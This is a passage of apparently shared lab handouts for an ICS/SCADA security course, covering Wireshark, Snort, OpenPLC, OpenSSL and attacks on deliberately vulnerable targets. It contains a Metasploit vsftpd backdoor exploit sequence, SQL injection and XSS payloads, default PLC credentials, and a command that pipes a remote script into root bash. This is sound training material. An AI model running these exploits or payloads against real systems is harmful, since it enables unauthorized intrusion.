Cybersecurity Labs for Industrial Control Systems (ICS/SCADA)
Posted by Anonymous and classified in Technology
Written on in English with a size of 12.59 KB
Experiment 01: Network Traffic Analysis in ICS/SCADA
Tools
- Wireshark
Objectives
- Use Wireshark to capture and analyze network traffic to detect anomalies such as unauthorized commands or network scanning.
Deliverable
- A detailed report of traffic patterns and recommendations for mitigations.
Wireshark
Wireshark is a network protocol analyzer used to capture and inspect data packets in real time.
Installing Wireshark on Linux
- Step 01: Update package lists:
sudo apt update
- Step 02: Install Wireshark:
sudo apt install wireshark -y
- Step 03: Allow non-root packet capture. When prompted, select to allow non-root users to capture packets. If not prompted, run:
sudo dpkg-reconfigure wireshark-common
sudo usermod -aG wireshark $USER
- Step 04: Restart your session (log out and log back in, or reboot your system).
- Step 05: Launch Wireshark:
wireshark
Experiment Steps
- Initial ping activity.
- Being pinged.
- Wireshark analysis: Normal packet view (from the image).
- Wireshark analysis: During packet flooding (from the image).
Algorithm for Network Traffic Analysis in ICS/SCADA
- Start capture.
- Monitor for anomalies.
- Check for traffic spikes.
- Identify broadcast storms or flooding.
- Analyze conversations.
- Export and document.
- Report and recommend.
Hardware Requirements
- Computer: 16GB RAM, 100GB SSD/HDD, Intel Core i5-3rd Gen (or equivalent).
Software Requirements
- Operating System that runs VirtualBox.
- VMware Workstation/Player installation.
- Disk image file of the virtual machine.
Result
The system's network stack can detect a ping flood via tools like Wireshark. Such traffic patterns can be flagged for defensive actions like rate-limiting or firewall filtering.
Experiment 02: IDS Configuration and Testing with Snort
Snort
Snort is an open-source Intrusion Detection and Prevention System (IDS/IPS) that monitors network traffic in real time to detect and block malicious activities.
IDS Configuration and Testing Algorithm with Snort
- Install and configure Snort.
- Write custom rules.
- Validate rule syntax.
- Simulate attacks.
- Monitor alerts.
- Evaluate performance.
- Report results.
Software Requirements
- Operating System.
- Libraries and tools.
Hardware Requirements
- Processor: Dual-core.
- RAM: 500MB or more (for Snort and logs).
- Network Interface: Intel-branded NIC (or equivalent).
Steps for Execution
- Install Snort:
sudo apt install snort
- Check Snort version:
snort -v
- Advanced Snort runtime and debugging commands:
snort --help-commands
- Basic Snort command-line help and usage options:
snort --help
- Network interface analysis:
ip a
- Monitoring and analyzing network traffic using Snort:
- Terminal 01: Start Snort:
sudo snort -I eth0 -d -e -v
- Terminal 02: Generate network traffic using ping command:
ping google.com
- Terminal 01: Go back to Terminal 1 and press
Ctrl + C
.
- Terminal 01: Start Snort:
Result
The program ran successfully and output was obtained.
Experiment 03: Vulnerability Assessment of Simulated ICS Network
Metasploitable
Metasploitable is a deliberately vulnerable virtual machine designed for testing and practicing penetration testing and security tools like Metasploit.
Hardware Requirements
- Desktop: 16GB RAM, virtualization support.
- Router/Switch.
- Raspberry Pi / PLCs (for simulated ICS environment).
Software Requirements
- Simulation tools.
- Virtualization software (e.g., VMware, VirtualBox).
- Security tools (e.g., Metasploit).
Steps for Execution
- Install Metasploitable 2 and get its IP address using
ifconfig
. Copy the address. - Open Kali Linux, scan the network for open services, and paste the Metasploitable IP address:
nmap -SV 192.168.87.131
(replace IP with your Metasploitable IP). - Start Metasploit:
msfconsole
- Search for the VSFTPD backdoor exploit:
search vsftpd
- Select the backdoor exploit:
use exploit/unix/ftp/vsftpd_234_backdoor
- Set the target's IP address (RHOST):
set RHOST 192.168.87.131
(replace IP). - Run the exploit:
exploit
- Run the exploit command again until a successful session is established.
Result
The program ran successfully and output was obtained.
Experiment 04: Securing a PLC Environment
Tools Used
- OpenPLC: OpenPLC is an open-source industrial controller platform used for programming and running PLC (Programmable Logic Controller) applications.
Software Requirements
- Available for Windows, Linux, macOS, and real-time Linux.
Hardware Requirements
- CPU: Dual-core 1GHz.
- RAM: 2GB.
- Disk Space: 500MB free.
Installation of OpenPLC Runtime in Kali Linux
- Install Git:
sudo apt install git
- Clone the OpenPLC Runtime repository:
git clone https://github.com/thiagoralver/openPLC_V3.git
- Navigate to the OpenPLC directory:
cd openPLC_V3
- Run the installation script:
sudo ./install.sh Linux
- Check if OpenPLC Runtime is running:
ps aux | grep openplc
- Check if port 8080 is in use:
sudo netstat -tuln | grep 8080
- Start the OpenPLC Runtime web server:
sudo ./start_openplc.sh
- Open your browser and go to
https://localhost:8080
. You should see the default login page. - The default OpenPLC login page should appear.
- Log in with the following credentials:
- Username:
OpenPLC
- Password:
openPLC
- Username:
Result
The program executed successfully and output was obtained.
Experiment 05: ICS Cyber Attack Simulation and Defense Design
Tools
- Metasploit Framework
- Security Onion
Requirements
- Operating System: Linux (e.g., Kali Linux, Ubuntu).
Metasploit Framework
The Metasploit Framework is an open-source tool widely used for penetration testing, ethical hacking, and security research.
Common Uses of Metasploit
- Penetration testing.
- Vulnerability research.
- Security auditing.
- Exploit development.
Algorithm
- Set up ICS test environment.
- Install Metasploit Framework.
- Exploit engineering workstation.
- Send malicious Modbus commands.
- Launch DoS attacks.
- Deploy Security Onion.
- Analyze attacks.
- Implement firewall rules.
- Configure IDS/IPS rules.
- Rerun attacks.
- Document results.
Steps for Execution
- Install dependencies:
sudo apt update && sudo apt install -y curl gnupg ruby ruby-dev make libpcap-dev postgresql
- Clone the Metasploit repository:
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
- Install required gems:
sudo gem install bundler
- Install the bundle:
sudo bundle install
- Run Metasploit:
./msfconsole
Result
The program executed successfully and the output was obtained.
Experiment 06: Securing ICS Protocols and Communication Channels
Tools
- OpenSSL
- Wireshark
Hardware Requirements
- CPU.
- RAM: At least 512MB.
- Storage.
- Network with internet access.
Software Requirements
- Operating System: Linux, macOS, or Windows.
OpenSSL Framework
OpenSSL is an open-source toolkit that provides secure communication through the implementation of SSL and TLS protocols.
Key Features of OpenSSL
- SSL/TLS protocol support.
- Certificate generation and management.
- Cryptographic algorithms.
- Digital signature generation.
- Secure file encryption and decryption.
Algorithm
- Capture baseline Modbus/TCP traffic using Wireshark to understand communication patterns.
- Simulate unauthorized Modbus commands to generate malicious traffic.
- Set up a secure tunnel to encrypt Modbus/TCP communication.
- Reroute Modbus traffic through the encrypted tunnel.
- Capture traffic logs.
- Analyze and document differences in packet structure, payload visibility, and behavior.
- Recommend protocol hardening.
Experiment Commands
- Step 01: Install OpenSSL:
sudo apt update && sudo apt install openssl
- Step 02: Verify installation:
openssl version
- Step 03: Generate a self-signed certificate:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Experiment 07: Web Application Security for Industrial Systems
Tools
- OWASP ZAP
Algorithm
- Set up OWASP ZAP and configure it as a proxy for web traffic.
- Access the ICS web interface through a browser routed via ZAP.
- Perform passive scanning to identify visible vulnerabilities.
- Run active scans to test for issues like SQL injection and XSS.
- Manually test authentication for weaknesses.
- Review scan results and identify critical web security flaws.
- Document each vulnerability with its risk and affected components.
- Provide remediation steps for each issue.
- Rescan after remediation to confirm vulnerabilities are resolved.
Hardware Requirements
- PCs or Laptops.
- Network equipment.
- Industrial system simulation environment.
Software Requirements
- Operating System: Ubuntu (or other Linux distribution).
- Virtualization software (e.g., VMware Workstation/Player, VirtualBox).
- Web application stack (e.g., DVWA).
- Cybersecurity tools: OWASP ZAP, Burp Suite, Metasploit Framework.
Steps for Execution
- Search for DVWA (Damn Vulnerable Web Application) in Firefox and follow the installation steps to set it up.
- Open the terminal (as root or with sudo). Execute the DVWA installation script (example, actual script may vary):
sudo bash -c "$(curl -sL https://raw.githubusercontent.com/ethicalhackers/DVWA-script/main/install-dvwa.sh)"
Then, install ZAP Proxy:sudo apt update && sudo apt install zaproxy -y
Verify Apache2 status:sudo systemctl status apache2
- In Firefox, navigate to
http://localhost/DVWA/
. - Set the DVWA security level to "low".
- SQL Injection Test:
- Select "SQL Injection".
- For User ID, enter:
' or '1'='1
- Click "Submit".
- XSS (Reflected) Test:
- Select "XSS (Reflected)".
- For "What's your name:", enter:
<script>alert('XSS vuln');</script>
- Click "Submit".
- Open a new terminal and launch ZAP Proxy:
zaproxy
- Once ZAP opens, select the "Automated Scan" option.
- Enter the URL to attack:
http://localhost/DVWA
- Click "Attack".
- After the scan completes, select "Generate Report".
Result
The program executed successfully and the output was obtained.